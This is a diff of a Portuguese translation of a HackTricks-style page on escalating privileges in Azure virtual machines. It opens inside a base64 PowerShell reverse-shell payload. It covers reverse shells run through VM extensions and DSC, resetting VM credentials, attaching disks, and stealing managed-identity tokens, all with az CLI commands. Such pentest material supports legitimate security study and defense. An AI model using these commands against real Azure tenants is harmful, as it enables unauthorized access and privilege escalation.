AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` -- Execute shell reverso a partir de arquivo +- Executar shell reverso a partir de arquivo ```bash az vm extension set \ --resource-group \ @@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredConfigurationState (DSC) -Esta é uma **extensão de VM** que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão: +Esta é uma **extensão de VM** que pertence à Microsoft e usa PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão: ```bash # Content of revShell.ps1 Configuration RevShellConfig { @@ -308,9 +308,9 @@ Esta permissão permite que um usuário **faça login como usuário em uma VM vi Faça login via **SSH** com **`az ssh vm --name --resource-group `** e via **RDP** com suas **credenciais regulares do Azure**. -## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` +### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Todas essas são as permissões necessárias para **criar uma VM com uma identidade gerenciada específica** e deixar uma **porta aberta** (22 neste caso). Isso permite que um usuário crie uma VM e se conecte a ela e **roube tokens de identidade gerenciada** para escalar privilégios a ela. +Todas essas são as permissões necessárias para **criar uma VM com uma identidade gerenciada específica** e deixar uma **porta aberta** (22 neste caso). Isso permite que um usuário crie uma VM e se conecte a ela e **roube tokens de identidade gerenciada** para escalar privilégios para ela. Dependendo da situação, mais ou menos permissões podem ser necessárias para abusar dessa técnica. ```bash @@ -349,7 +349,7 @@ Então, o atacante precisa ter **comprometido de alguma forma a VM** para roubar https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm {{#endref}} -### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write" +### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write Essas permissões permitem alterar o usuário e a senha da máquina virtual para acessá-la: ```bash @@ -359,8 +359,24 @@ az vm user update \ --username \ --password ``` +### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write". + +Essas permissões permitem que você gerencie discos e interfaces de rede, e permitem que você anexe um disco a uma máquina virtual. +```bash +# Update the disk's network access policy +az disk update \ +--name \ +--resource-group \ +--network-access-policy AllowAll + +# Attach the disk to a virtual machine +az vm disk attach \ +--vm-name \ +--resource-group \ +--name +``` ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action -De acordo com a [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), esta permissão permite que você gerencie o SO do seu recurso via Windows Admin Center como um administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs... +De acordo com a [**documentação**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), esta permissão permite que você gerencie o SO do seu recurso via Windows Admin Center como um administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs... {{#include ../../../banners/hacktricks-training.md}}